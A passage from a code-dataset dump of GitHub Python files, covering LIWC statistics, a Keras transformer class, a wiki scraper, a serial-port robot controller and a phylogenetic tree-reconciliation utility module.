get_liwc_category_avg_for_single_col_subsample(category, col_name='topic', col_val=4, df=df)\n h_stat, p_val = stats.kruskal(group_0[1], group_1[1], group_2[1], group_3[1], group_4[1], nan_policy='propagate')\n\n return h_stat, p_val\n\n\n\n####### Example methods for running/re-running our experiments\n\n\n## Method for building the LIWC scores from our dataset file \"total_comments_labels.xlsx\"\n# build_liwc_excel_for_samples(DF_FILEPATH, LIWC_FILEPATH, LIWC_SCORES_FILEPATH)\n\n\n## Example of running pairwise Welch's t-test runs for 1-feature based subsets of our data\n# df = pd.read_excel(LIWC_SCORES_FILEPATH)\n# liwc_category = 'informal (Informal Language)'\n# # col_name_1 = 'topic'\n# # col_val_1 = 3\n# # col_name_2 = 'topic'\n# # col_val_2 = 4\n# # pvals = get_p_vals_for_two_subsamples(liwc_category, col_name_1=col_name_1, col_val_1=col_val_1, col_name_2=col_name_2, col_val_2=col_val_2, df=df)\n# # print(pvals)\n\n## Example of running KW test experiment for LDA groupings\n# # print(get_anova_for_lda_groups(liwc_category, df))\n\n## Example of running pairwise Welch's t-test experiments for 3-feature based subsets of our data\n# # # pvals = get_p_vals_for_two_subsamples_mult_cols(liwc_category, 0,0,0, 0,0,1, df=df)\n# # print(pvals)","repo_name":"ajain300/MonkeyPox-Reddit-DSN","sub_path":"scripts/liwc_analysis.py","file_name":"liwc_analysis.py","file_ext":"py","file_size_in_byte":10218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21387761295","text":"n = int(input())\n\nfor i in range(n):\n x,y = input().split()\n x = int(x)\n y = int(y)\n #y = int(input())\n\n if ((1 <= x <= 100) and (1 <= y <= 100)):\n sum = x + y\n print(sum)\n","repo_name":"Hridoy-31/Competitive-Programming","sub_path":"A2OJ/Omar.py","file_name":"Omar.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27676784919","text":"# FlowTransformer 2023 by liamdm / liam@riftcs.com\nfrom framework.base_sequential import BaseSequential\nfrom implementations.transformers.basic.decoder_block import TransformerDecoderBlock\nfrom implementations.transformers.basic.encoder_block import TransformerEncoderBlock\n\ntry:\n from tensorflow._api.v2.v2 import keras\nexcept ImportError:\n from tensorflow import keras\n\nclass BasicTransformer(BaseSequential):\n\n @property\n def name(self) -> str:\n if self.use_conv:\n return f\"Basic Conv Transformer\" + (\" Decoder\" if self.is_decoder else \"\")\n else:\n return f\"Basic Dense Transformer\" + (\" Decoder\" if self.is_decoder else \"\")\n\n @property\n def parameters(self) -> dict:\n return {\n \"n_layers\": self.n_layers,\n \"internal_size\": self.internal_size,\n \"use_conv\": self.use_conv,\n \"n_heads\": self.n_heads,\n \"dropout_rate\": self.dropout_rate,\n \"head_size\": self.internal_size\n }\n\n def __init__(self, n_layers:int, internal_size:int, n_heads:int, use_conv:bool=False, dropout_rate:float=0.1, is_decoder=False):\n super().__init__()\n self.n_layers = n_layers\n self.internal_size = internal_size\n self.use_conv = use_conv\n self.n_heads = n_heads\n self.dropout_rate = dropout_rate\n self.is_decoder = is_decoder\n\n def apply(self, X, prefix: str = None):\n #window_size = self.sequence_length\n real_size = X.shape[-1]\n\n m_x = X\n\n for layer_i in range(self.n_layers):\n if self.is_decoder:\n if self.use_conv:\n raise NotImplementedError()\n m_x = TransformerDecoderBlock(real_size, self.internal_size, self.n_heads, dropout_rate=self.dropout_rate)(m_x)\n else:\n m_x = TransformerEncoderBlock(real_size, self.internal_size, self.n_heads, dropout_rate=self.dropout_rate, use_conv=self.use_conv, prefix=f\"{prefix}block_{layer_i}_\")(m_x)\n\n return m_x","repo_name":"liamdm/FlowTransformer","sub_path":"implementations/transformers/basic_transformers.py","file_name":"basic_transformers.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"39550366842","text":"from bs4 import BeautifulSoup as soup\nimport requests\nimport csv\n\nciconias = requests.get(\"https://ciconia.fandom.com/wiki/Category:Characters\")\nciconiasoup = soup(ciconias.text, \"html.parser\")\ncharcons = ciconiasoup.findAll(\"div\", {\"class\": \"category-page__member-left\"})\n\n\nwith open(\"ciconias.csv\", mode=\"w\", encoding=\"utf-8\") as ciconia_chars:\n fieldnames = [\"Name\", \"Special Abilities\"]\n writer = csv.DictWriter(ciconia_chars, fieldnames=fieldnames)\n writer.writeheader()\n for char in charcons:\n character = char.a['title']\n writer.writerow({'Name': character})\n specialspage = requests.get(f\"https://ciconia.fandom.com{char.a['href']}\")\n specialsoup = soup(specialspage.text, \"html.parser\")\n specials = specialsoup.findAll(\"b\")\n for ability in specials:\n if character.strip() != ability.text.strip() and \"(\" in ability.text:\n writer.writerow({'Special Abilities': ability.text})\n\n\nprint(ciconia_chars)\n","repo_name":"HachijoTohya/Ciconias","sub_path":"Gambit.py","file_name":"Gambit.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15227392358","text":"import serial\nimport struct\nimport time\n\n\ncmd={\n 'forward':0x01,\n 'backward':0x02,\n 'right':0x03,\n 'left':0x04,\n 'pause':0x05,\n 'anticw':0x06,\n 'cw':0x07,\n 'dkgz':0x08,\n 'gbgz':0x09,\n 'js':0x0A,\n}\nclass MySerial(object):\n def __init__(self,serial_device=None,baud_rate=None):\n self.serial_device = serial_device\n self.baud_rate = baud_rate\n self.isOpened = False\n if serial_device!=None and baud_rate!=None :\n try :\n self.ser = serial.Serial(serial_device,baud_rate)\n except :\n print('Open: '+serial_device+' failed!')\n print ('Please make sure that device exists!')\n else:\n print ('Open: '+self.ser.portstr+' succeed')\n self.flushInput()\n self.isOpened = True\n else :\n print ('Please input information of serial_device!')\n\n def open(self,serial_device=None,baud_rate=None):\n if serial_device != None:\n self.serial_device = serial_device\n if baud_rate != None:\n self.baud_rate = baud_rate\n if self.serial_device!=None and self.baud_rate!=None :\n try :\n self.ser = serial.Serial(serial_device,baud_rate)\n except :\n pass\n else:\n print ('Open: '+self.ser.portstr+' succeed')\n self.flushInput()\n self.isOpened = True\n\n def send(self,data_list):\n data = bytes(data_list)\n self.ser.write(data)\n\n def sendSpeedPack(self,float0,float1,float2):\n head = 0x55\n length = 0x1C\n self.checksum = 0\n list_temp = []\n list_temp.append(head)\n self.checksum = self.checksum + head\n list_temp.append(length)\n self.checksum = self.checksum + length\n data = struct.pack('fff',float0,float1,float2)\n for i in range(0,len(data)):\n item = data[i]\n list_temp.append(item)\n self.checksum = self.checksum + item\n self.checksum = self.checksum%255\n list_temp.append(self.checksum)\n self.send(list_temp)\n\n def sendCmdPack(self,rjson):\n if 'cmd' in rjson.keys():\n head = 0x55\n length = 0x21\n self.checksum = 0\n list_temp = []\n list_temp.append(head)\n self.checksum = self.checksum + head\n list_temp.append(length)\n self.checksum = self.checksum + length\n if rjson['cmd'] in cmd.keys():\n list_temp.append(cmd[rjson['cmd']])\n self.checksum = self.checksum + cmd[rjson['cmd']]\n else:\n print('Unkown cmd.')\n return 0\n self.checksum = self.checksum % 255\n list_temp.append(self.checksum)\n self.send(list_temp)\n return True\n else:\n return False\n\n def read(self):\n self.count = self.ser.inWaiting()\n if self.count != 0:\n self.recv = self.ser.read(self.count)\n self.ser.flushInput()\n return self.recv\n else:\n return None\n\n def flushInput(self):\n self.ser.flushInput()\n\n def close(self):\n print('Close: %s' % self.serial_device)\n self.isOpened = False\n self.ser.close()\n\n\n\n#serial_device = '/dev/ttyUSB0'\nserial_device = 'COM10'\nbaud_rate = 115200\n#test\nif __name__ == '__main__':\n ser = MySerial(serial_device,baud_rate)\n if ser.isOpened :\n ser.send([1,2,3,4,5,6,7,8,0xff])\n ser.sendSpeedPack(1.23,0.0,0.0)\n time.sleep(1)\n data = ser.read()\n print(data)\n ser.close()\n\n","repo_name":"Higor777/Intelligent_Potting_Plant_With_WeChat_Platform","sub_path":"Terminal/my_serial.py","file_name":"my_serial.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"12516025549","text":"# This file is part of profileNJ\n#\n# Date: 02/2014\n# TreeUtils is a python class that offer function related to phylogenetic\n# trees, using TreeClass as tree structure\n\n__author__ = \"Emmanuel Noutahi\"\n\nimport ClusterUtils as clu\nimport hashlib\nimport os\nimport params\nimport re\nimport string\nimport sys\nimport urllib2\nimport numpy as np\nimport random\nfrom TreeClass import TreeClass\nfrom collections import defaultdict as ddict\nfrom ete3 import Phyloxml, Tree\nfrom ete3 import orthoxml\nfrom ete3.parser.newick import NewickError\nimport itertools\n\n\n# TreeUtils:\nclass MatrixRep(object):\n\n def __init__(self, genetree, speciestree, defval=0, is_tree=True):\n\n self.gtree = genetree\n self.stree = speciestree\n if is_tree:\n self.gtree = list(genetree.traverse(\"postorder\"))\n self.stree = list(speciestree.traverse(\"postorder\"))\n # keeping tree as key (in case the name was not set for internal nodes)\n self.gmap = dict((gn, i) for i, gn in enumerate(self.gtree))\n self.smap = dict((sn, i) for i, sn in enumerate(self.stree))\n self.matrix = np.empty((len(self.gmap), len(self.smap)))\n self.matrix.fill(defval)\n self.shape = self.matrix.shape\n self.inlist = self.smap.keys() + self.gmap.keys()\n\n def __len__(self):\n \"\"\"Return the len of the longuest axis\"\"\"\n return max(self.shape)\n\n def __contains__(self, item):\n return item in self.inlist\n\n def __iter__(self):\n for (g, i_g) in self.gmap.items():\n for (s, i_s) in self.smap.items():\n yield (g, s, self.matrix[i_g, i_s])\n\n def _reformat_slice(self, pos, mapping):\n return pos if isinstance(pos, int) else mapping.get(pos, None)\n\n def _get_new_index(self, index, mapping):\n start = index.start\n stop = index.stop\n step = index.step\n start = self._reformat_slice(start, mapping)\n stop = self._reformat_slice(stop, mapping)\n step = step if isinstance(step, int) else None\n return slice(start, stop, step)\n\n def __getitem__(self, index):\n \"\"\"Indexing with int, string or slice\"\"\"\n # the following will return a whole row\n if isinstance(index, Tree):\n return self.matrix[self.gmap[index]]\n elif isinstance(index, int):\n return self.matrix[index]\n # in the folowing, we are returning a slice\n elif isinstance(index, slice):\n index = self._get_new_index(index, self.gmap)\n return self.matrix[index]\n # we are accepting two slices here, no more\n elif len(index) != 2:\n raise TypeError(\"Invalid index type.\")\n # Handle double indexing\n row_index, col_index = index\n if isinstance(row_index, Tree):\n row_index = self.gmap.get(row_index, None)\n if isinstance(col_index, Tree):\n col_index = self.smap.get(col_index, None)\n elif isinstance(row_index, slice):\n row_index = self._get_new_index(row_index, self.gmap)\n elif isinstance(col_index, slice):\n col_index = self._get_new_index(col_index, self.smap)\n # let numpy manage the exceptions\n return self.matrix[row_index, col_index]\n\n def __setitem__(self, index, val):\n \"\"\"Indexing with int, string or slice\"\"\"\n # the following will return a whole row\n if isinstance(index, Tree):\n self.matrix[self.gmap[index]] = val\n elif isinstance(index, int):\n self.matrix[index] = val\n # in th folowing, we are returning a slice\n elif isinstance(index, slice):\n index = self._get_new_index(index, self.gmap)\n self.matrix[index] = val\n # we are accepting two slices here, no more\n elif len(index) != 2:\n raise TypeError(\"Invalid index type.\")\n # Handle double indexing\n row_index, col_index = index\n if isinstance(row_index, Tree):\n row_index = self.gmap.get(row_index, None)\n if isinstance(col_index, Tree):\n col_index = self.smap.get(col_index, None)\n elif isinstance(row_index, slice):\n row_index = self._get_new_index(row_index, self.gmap)\n elif isinstance(col_index, slice):\n col_index = self._get_new_index(col_index, self.smap)\n # let numpy manage the exceptions\n self.matrix[row_index, col_index] = val\n\n\ndef fetch_ensembl_genetree_by_id(treeID=None, aligned=0, sequence=\"none\", output=\"nh\", nh_format=\"full\"):\n \"\"\"Fetch genetree from ensembl tree ID\n :argument treeID: the ensembl tree ID, this is mandatory\n :argument aligned: boolean (0/1), used with sequence to retrieve aligned sequence\n :argument sequence: none / protein /cdna /gene, should we retrieve sequence also?, work only with phyloxml nh_format\n :argument output: nh / phyloxml, type of output we are looking for!\n :argument nh_format: full / display_label_composite / simple / species / species_short_name / ncbi_taxon / ncbi_name / njtree / phylip, The format of the nh output, only useful when the output is set to nh\n \"\"\"\n if not treeID:\n raise valueError('Please provide a genetree id')\n else:\n # http = httplib2.Http(\".cache\")\n server = \"http://rest.ensembl.org\"\n ext = \"/genetree/id/%s?sequence=%s;aligned=%i\" % (\n treeID, sequence, aligned)\n if(output == \"nh\"):\n ext = ext + \";nh_format=%s\" % nh_format\n output = \"text/x-\" + output\n request = urllib2.Request(\n server + ext, headers={\"Content-Type\": output})\n resp = urllib2.urlopen(request)\n content = resp.read()\n # resp, content = http.request(server+ext, method=\"GET\", headers={\"Content-Type\":output})\n if not resp.getcode() == 200:\n print(\"Invalid response: \", resp.getcode())\n raise ValueError('Failled to process request!')\n\n if(output.lower() != \"text/x-phyloxml\"):\n return TreeClass(content)\n else:\n return getTreeFromPhyloxml(content)\n\n\ndef fetch_ensembl_genetree_by_member(memberID=None, species=None, id_type=None, output=\"nh\", nh_format=\"full\"):\n \"\"\"Fetch genetree from a member ID\n :argument memberID: the ensembl gene ID member of the tree to fetch, this is mandatory! EX: ENSG00000157764\n :argument species: Registry name/aliases used to restrict searches by. Only required if a stable ID is not unique to a species (not the case with Ensembl databases) EX: human, homo_sapiens\n :argument id_type: Object type to restrict searches to. Used when a stable ID is not unique to a single class. EX: gene, transcript\n :argument output: nh / phyloxml, type of output we are looking for!\n :argument nh_format: full / display_label_composite / simple / species / species_short_name / ncbi_taxon / ncbi_name / njtree / phylip, The format of the nh output, only useful when the output is set to nh\n \"\"\"\n if not memberID:\n raise valueError('Please provide a genetree id')\n else:\n http = httplib2.Http(\".cache\")\n server = \"http://rest.ensembl.org\"\n ext = \"/genetree/member/id/%s?\" % (memberID)\n if species:\n ext = ext + \"species=\" + species + \";\"\n if id_type:\n ext = ext + \"object_type=\" + id_type + \";\"\n if(output == \"nh\"):\n ext = ext + \"nh_format=%s;\" % nh_format\n output = \"text/x-\" + output\n resp, content = http.request(\n server + ext, method=\"GET\", headers={\"Content-Type\": output})\n if not resp.status == 200:\n print(\"Invalid response: \", resp.status)\n raise ValueError('Failled to process request!')\n if(output.lower() != \"text/x-phyloxml\"):\n return TreeClass(content)\n else:\n return getTreeFromPhyloxml(content)\n\n\ndef lcaPreprocess(tree):\n \"\"\"Make an euler tour of this tree\"\"\"\n # root = tree.get_tree_root()\n tree.add_features(depth=0)\n tree.del_feature('euler_visit')\n for node in tree.iter_descendants(\"levelorder\"):\n node.del_feature('euler_visit')\n # can write this because parent are always visited before\n node.add_features(depth=node.up.depth + 1)\n node_visited = tree._euler_visit([])\n # print tree.get_ascii(show_internal= True, attributes=['name', 'euler_visit', 'depth'])\n # number of element in array\n n = len(node_visited)\n m = int(np.ceil(np.log2(n)))\n rmq_array = np.zeros((n, m), dtype=int)\n for i in xrange(n):\n rmq_array[i, 0] = i\n for j in xrange(1, m):\n i = 0\n while(i + 2**j < n - 1):\n if(node_visited[rmq_array[i, j - 1]].depth < node_visited[rmq_array[(i + 2**(j - 1)), j - 1]].depth):\n rmq_array[i, j] = rmq_array[i, j - 1]\n else:\n rmq_array[i, j] = rmq_array[i + 2**(j - 1), j - 1]\n i += 1\n\n node_map = ddict()\n name2ind = ddict()\n for i in xrange(n):\n cur_node = node_visited[i]\n # bad practice\n try:\n node_map[cur_node] = min(node_map[cur_node], i)\n except:\n node_map[cur_node] = i\n name2ind[cur_node.name] = node_map[cur_node]\n\n tree.add_features(lcaprocess=True)\n tree.add_features(rmqmat=rmq_array)\n tree.add_features(ind2node=node_visited)\n tree.add_features(node2ind=node_map)\n tree.add_features(name2ind=name2ind)\n\n\ndef getLca(sptree, species):\n \"\"\"This should be a faster lcamapping\n species should be a list of node\"\"\"\n if not sptree.has_feature('lcaprocess', True):\n lcaPreprocess(sptree)\n A = sptree.ind2node\n M = sptree.rmqmat\n # using the biggest interval should return the lca of all species\n if len(species) > 1:\n s_index = sorted([sptree.node2ind[spec] for spec in species])\n # print \"s_index vaut :\", s_index , \" et taille est : \", len(sptree.node2ind), \" et rmq est : \", sptree.rmqmat.shape\n # print sptree.ind2node\n i = s_index[0]\n j = s_index[-1]\n\n else:\n if isinstance(species[0], str):\n # in this case, we have a leaf\n i = sptree.name2ind[species[0]]\n else:\n # this is an instance of TreeClass\n i = sptree.node2ind[species[0]]\n j = i\n k = int(np.log2(j - i + 1))\n if (A[M[i, k]].depth <= A[M[j - 2**(k) + 1, k]].depth):\n return A[M[i, k]]\n else:\n return A[M[j - 2**(k) + 1, k]]\n\n\ndef lcaMapping(genetree, specietree, multspeciename=True):\n \"\"\"LCA mapping between a genetree and a specietree\n :argument genetree: your genetree, All leave in the genetree should already have feature 'specie' (set_specie was called)\n :argument specietree: your specietree\n :argument multspeciename: A flag to use in order to accept multi specie name at genetree internal node.\n \"\"\"\n\n smap = {} # a dict that map specie name to specie node in specietree\n mapping = {}\n if not specietree.has_feature('lcaprocess', True):\n lcaPreprocess(specietree)\n\n for node in genetree.traverse(strategy=\"postorder\"):\n\n if node.is_leaf():\n mapping[node] = getLca(specietree, [node.species])\n else:\n # ML ADDED THIS\n species = list(set([mapping[n] for n in node.get_children()]))\n mapping[node] = getLca(specietree, species)\n if(multspeciename):\n node.add_features(\n species=\",\".join(sorted([x.name for x in species])))\n else:\n node.add_features(species=mapping[node].name)\n\n genetree.add_features(lcaMap=mapping)\n return mapping\n\n\ndef reconcile(genetree=None, lcaMap=None, lost=False, lost_label_fn=None):\n \"\"\"Reconcile genetree topology to a specietree, using an adequate mapping obtained with lcaMapping.\n 'reconcile' will infer evolutionary events like gene lost, gene speciation and gene duplication with distinction between AD and NAD\n \"\"\"\n\n if(lcaMap is None or genetree is None):\n raise Exception(\"lcaMapping or genetree not found\")\n else:\n lost_count = 1\n for node in genetree.traverse(\"levelorder\"):\n node.add_features(type=TreeClass.SPEC)\n node.add_features(dup=False)\n\n # print node.name , node.species, \" and children name \",\n # node.get_children_name(),\" and children species \",\n # node.get_children_species()\n if(not node.is_leaf() and (lcaMap[node] == lcaMap[node.get_child_at(0)] or lcaMap[node] == lcaMap[node.get_child_at(1)])):\n node.dup = True\n node.type = TreeClass.AD\n # print \"\\n\\nnode = \", node, \"\\n\\nand children : \",\n # node.children\n if not (set(node.get_child_at(0).get_species()).intersection(set(node.get_child_at(1).get_species()))):\n node.type = TreeClass.NAD\n\n if (isinstance(lost, basestring) and lost.upper() == \"YES\") or lost:\n for node in genetree.traverse(\"postorder\"):\n children_list = node.get_children()\n node_is_dup = (\n node.type == TreeClass.NAD or node.type == TreeClass.AD)\n for child_c in children_list:\n if((node_is_dup and lcaMap[child_c] != lcaMap[node]) or (not node_is_dup and (lcaMap[child_c].up != lcaMap[node]))):\n\n while((lcaMap[child_c].up != lcaMap[node] and node.type == TreeClass.SPEC) or (lcaMap[child_c] != lcaMap[node] and node.type != TreeClass.SPEC)):\n lostnode = TreeClass()\n intern_lost = TreeClass()\n intern_lost.add_features(type=TreeClass.SPEC)\n intern_lost.add_features(dup=False)\n\n if lcaMap[child_c].is_root():\n intern_lost.species = \",\".join(\n lcaMap[child_c].get_leaf_names())\n lcaMap.update({intern_lost: lcaMap[child_c]})\n\n else:\n intern_lost.species = \",\".join(\n lcaMap[child_c].up.get_leaf_names())\n lcaMap.update(\n {intern_lost: lcaMap[child_c].up})\n\n # change here to display a subtree and not a leaf\n # with a lot of specie\n lostnode.species = \",\".join(\n set(lcaMap[intern_lost].get_leaf_names()) - set(lcaMap[child_c].get_leaf_names()))\n splist = lostnode.species.split(',')\n if(len(splist) > 1):\n if lost_label_fn:\n lostnode.name = lost_label_fn(splist)\n else:\n lostnode.name = \"lost_\" + \\\n str(lost_count) + \"_\" + \\\n \"|\".join([s[0:3] for s in splist])\n\n else:\n if lost_label_fn:\n lostnode.name = lost_label_fn(\n lostnode.species)\n else:\n lostnode.name = \"lost_\" + lostnode.species\n\n lostnode.add_features(type=TreeClass.LOST)\n lostnode.add_features(dup=False)\n\n lost_count += 1\n child_c.detach()\n # print \"***********************\\n\\n** node : \", node, \"\\n\\n** child_c: \", child_c, \"\\n\\n** child parent\", child_c.up\n # node.remove_child(child_c)\n intern_lost.add_child(child=lostnode)\n intern_lost.add_child(child=child_c)\n child_c = intern_lost\n node.add_child(child_c)\n children_list.append(child_c)\n\n # Case of polytomie in species tree....\n if not node.is_leaf():\n specie_list = \",\".join(\n [\",\".join(lcaMap[child_c].get_leaf_names()) for child_c in node.get_children()])\n child_specie_set = set(specie_list.split(\",\"))\n real_specie_list = set(lcaMap[node].get_leaf_names())\n unadded_specie = real_specie_list - child_specie_set\n # print unadded_specie, child_specie_set, real_specie_list\n # print node.species\n if(unadded_specie):\n lostnode = TreeClass()\n lostnode.add_features(type=TreeClass.LOST)\n lostnode.add_features(dup=False)\n lostnode.species = \",\".join(unadded_specie)\n\n if(len(unadded_specie) > 1):\n lostnode.name = \"lost_\" + \\\n str(lost_count) + \"_\" + \\\n \"|\".join([s[0:3] for s in unadded_specie])\n\n else:\n lostnode.name = \"lost_\" + lostnode.species\n\n lost_count += 1\n node.add_child(lostnode)\n genetree.add_features(reconciled=True)\n\n\ndef computeDLScore(genetree, lcaMap=None, dupcost=None, losscost=None):\n \"\"\"\n Compute the reconciliation cost\n \"\"\"\n if not lcaMap and genetree.has_feature('lcaMap'):\n lcaMap = genetree.lcaMap\n dup_score = 0\n loss_score = 0\n if lcaMap:\n for node in genetree.traverse(\"levelorder\"):\n node_is_dup = 0\n child_map = [lcaMap[child] for child in node.get_children()]\n if (lcaMap[node] in child_map):\n node_is_dup = params.getdup(lcaMap[node])\n dup_score += (dupcost if dupcost else node_is_dup)\n\n for child in node.get_children():\n if node_is_dup:\n child_map = [lcaMap[node]]\n else:\n child_map = lcaMap[node].get_children()\n curr_node = lcaMap[child]\n while(curr_node not in child_map):\n lost_nodes = set(\n curr_node.up.get_children()) - set([curr_node])\n if losscost:\n loss_score += len(lost_nodes) * losscost\n else:\n loss_score += np.sum([params.getloss(l)\n for l in lost_nodes])\n curr_node = curr_node.up\n\n else:\n raise Exception(\"LcaMapping not provided !!\")\n return dup_score, loss_score\n\n\ndef computeDTLScore(genetree, speciestree, Dc=1, Tc=1, Lc=1, flag=True):\n if not speciestree.has_feature('lcaprocess', True):\n speciestree.label_internal_node()\n lcaPreprocess(speciestree)\n leafMap = {}\n for leaf in genetree:\n if not leaf.has_feature('species'):\n raise ValueError(\"You should set species before calling\")\n leafMap[leaf] = speciestree & leaf.species\n\n cost_table = MatrixRep(genetree, speciestree, np.inf)\n spec_table = MatrixRep(genetree, speciestree, np.inf)\n dup_table = MatrixRep(genetree, speciestree, np.inf)\n trf_table = MatrixRep(genetree, speciestree, np.inf)\n in_table = MatrixRep(genetree, speciestree, np.inf)\n inAlt_table = MatrixRep(genetree, speciestree, np.inf)\n out_table = MatrixRep(genetree, speciestree, np.inf)\n\n for gleaf in genetree:\n glsmap = leafMap[gleaf]\n cost_table[gleaf, glsmap] = 0\n comp_spec = glsmap\n while comp_spec is not None:\n inAlt_table[gleaf, comp_spec] = 0\n in_table[gleaf, comp_spec] = Lc * (-comp_spec.depth + glsmap.depth)\n comp_spec = comp_spec.up\n for gnode in genetree.iter_internal_node(strategy=\"postorder\", enable_root=True):\n for snode in speciestree.traverse(\"postorder\"):\n gchild1, gchild2 = gnode.get_children()\n if snode.is_leaf():\n spec_table[gnode, snode] = np.inf\n dup_table[gnode, snode] = Dc + cost_table[gchild1,\n snode] + cost_table[gchild2, snode]\n # because we can't have transfer at root\n if not snode.is_root():\n # one child is incomprable and the second\n # is a descendant\n trf_table[gnode, snode] = Tc + min(in_table[gchild1, snode] + out_table[\n gchild2, snode], in_table[gchild2, snode] + out_table[gchild1, snode])\n\n cost_table[gnode, snode] = min(\n spec_table[gnode, snode],\n dup_table[gnode, snode],\n trf_table[gnode, snode]\n )\n\n in_table[gnode, snode] = cost_table[gnode, snode]\n inAlt_table[gnode, snode] = cost_table[gnode, snode]\n\n else:\n schild1, schild2 = snode.get_children()\n spec_table[gnode, snode] = min(\n in_table[gchild1, schild1] + in_table[gchild2, schild2],\n in_table[gchild1, schild2] + in_table[gchild2, schild1]\n )\n dcost_g_s = 0\n if flag:\n dcost_g_s = min(\n cost_table[gchild1, snode] + in_table[gchild2,\n schild1] + Lc, # loss in one child\n cost_table[gchild1, snode] + \\\n in_table[gchild2, schild2] + Lc,\n cost_table[gchild2, snode] + \\\n in_table[gchild1, schild1] + Lc,\n cost_table[gchild2, snode] + \\\n in_table[gchild1, schild2] + Lc,\n # both map to snode\n cost_table[gchild2, snode] + \\\n cost_table[gchild1, snode],\n # both map to descendant of snode\n in_table[gchild1, schild1] + \\\n in_table[gchild2, schild1] + 2 * Lc,\n # both map to descendant of snode\n in_table[gchild1, schild1] + \\\n in_table[gchild2, schild2] + 2 * Lc,\n # both map to descendant of snode\n in_table[gchild1, schild2] + \\\n in_table[gchild2, schild2] + 2 * Lc,\n # both map to descendant of snode\n in_table[gchild1, schild2] + \\\n in_table[gchild2, schild1] + 2 * Lc,\n\n )\n\n else:\n dcost_g_s = in_table[gchild1, snode] + \\\n in_table[gchild2, snode]\n dup_table[gnode, snode] = Dc + dcost_g_s\n if not snode.is_root():\n trf_table[gnode, snode] = Tc + min(\n in_table[gchild1, snode] + out_table[gchild2, snode],\n in_table[gchild2, snode] + out_table[gchild1, snode]\n )\n\n cost_table[gnode, snode] = min(\n spec_table[gnode, snode],\n dup_table[gnode, snode],\n trf_table[gnode, snode]\n )\n in_table[gnode, snode] = min(\n cost_table[gnode, snode],\n in_table[gnode, schild1] + Lc,\n in_table[gnode, schild2] + Lc\n )\n inAlt_table[gnode, snode] = min(\n cost_table[gnode, snode],\n inAlt_table[gnode, schild1],\n inAlt_table[gnode, schild2]\n )\n\n for snode in speciestree.iter_internal_node(\"preorder\", True):\n schild1, schild2 = snode.get_children()\n out_table[gnode, schild1] = min(\n out_table[gnode, snode],\n inAlt_table[gnode, schild2]\n )\n out_table[gnode, schild2] = min(\n out_table[gnode, snode],\n inAlt_table[gnode, schild1]\n )\n # print cost_table.matrix\n return np.min(cost_table[genetree])\n\n\ndef computeDL(genetree, lcaMap=None):\n \"\"\"\n Compute the number of duplication and the number of losses\n \"\"\"\n loss = 0\n dup = 0\n\n if not lcaMap and genetree.has_feature('lcaMap'):\n lcaMap = genetree.lcaMap\n\n if lcaMap and not genetree.is_reconcilied():\n for node in genetree.traverse(\"levelorder\"):\n if (lcaMap[node] in [lcaMap[child] for child in node.get_children()]):\n dup += 1\n if(node.up):\n parent = node.up\n parent_is_dup = 0\n if(lcaMap[parent] in [lcaMap[child] for child in parent.get_children()]):\n parent_is_dup = 1\n loss += (lcaMap[node].depth -\n lcaMap[parent].depth - 1 + parent_is_dup)\n\n else:\n if(genetree is None or not genetree.is_reconcilied()):\n raise Exception(\n \"LcaMapping not found and your Genetree didn't undergo reconciliation yet\")\n\n for node in genetree.traverse():\n if node.has_feature('type'):\n if(node.type == TreeClass.NAD or node.type == TreeClass.AD):\n dup += 1\n elif node.type == TreeClass.LOST:\n loss += 1\n\n return dup, loss\n\n\ndef cleanFeatures(tree=None, features=[]):\n cleaned = False\n if(tree):\n for node in tree.traverse():\n for f in features:\n if(node.has_feature(f)):\n node.del_feature(f)\n cleaned = True\n return cleaned\n\n\ndef __is_dist_elligible(tree):\n \"\"\"Check whether or not a tree has branch length on all its branch\"\"\"\n return not (all([n.dist == 1.0 for n in tree.iter_descendants()]) and tree.dist == 0)\n\n\ndef get_distance_from_tree(tree):\n \"\"\"Return a distance matrix from input tree\n \"\"\"\n node_order = tree.get_leaf_names()\n if not __is_dist_elligible(tree):\n raise ValueError(\n \"Cannot infer distance matrix from tree branch length. All branch are set to default\")\n nl = len(node_order) # number of leaf\n distance_mat = np.zeros((nl, nl), dtype=float)\n for i in range(nl):\n for j in range(i + 1, nl):\n distance_mat[i, j] = distance_mat[\n j, i] = tree.get_distance(node_order[i], node_order[j])\n np.fill_diagonal(distance_mat, 0)\n return distance_mat, node_order\n\n\ndef binaryRecScore(node, lcamap, dupcost=None, losscost=None):\n \"\"\"Reconcile genetree topology to a specietree, using an adequate mapping obtained with lcaMapping.\n 'reconcile' will infer evolutionary events like gene lost, gene speciation and gene duplication with distinction between AD and NAD\n \"\"\"\n dup = 0\n lost = 0\n if(lcamap is None or node is None):\n raise Exception(\"lcaMapping or genetree not found\")\n else:\n # print node.name , node.species, \" and children name \",\n # node.get_children_name(),\" and children species \",\n # node.get_children_species()\n if(not node.is_leaf() and (lcamap[node].name == lcamap[node.get_child_at(0)].name or lcamap[node].name == lcamap[node.get_child_at(1)].name)):\n if not dupcost:\n dup += params.getdup(lcamap[node].name)\n else:\n dup += dupcost\n\n children_list = node.get_children()\n supposed_children_species = lcamap[node].get_children_name()\n child_number = 0\n for child in children_list:\n c = lcamap[child]\n child_number += 1\n child_lost = 0\n\n if(dup == 0):\n while(c is not None and (c.name not in supposed_children_species)):\n if not losscost:\n lost += params.getloss(c.name)\n else:\n lost += losscost\n\n child_lost += 1\n c = c.up\n\n if(dup > 0):\n while(c is not None and c.name != node.species):\n if not losscost:\n lost += params.getloss(c.name)\n else:\n lost += losscost\n child_lost += 1\n c = c.up\n\n return dup + lost, dup, lost\n\n\ndef totalDuplicationConsistency(tree):\n \"\"\"Compute the total duplication consistency score for a tree\"\"\"\n dps = 0\n if not tree.is_reconcilied():\n raise ValueError(\"Your tree wasn't reconcilied\")\n for node in tree.traverse():\n if(node.type == TreeClass.AD or node.type == TreeClass.NAD):\n try:\n dps += node.compute_dup_cons()\n except AssertionError:\n pass\n return dps\n\n\ndef 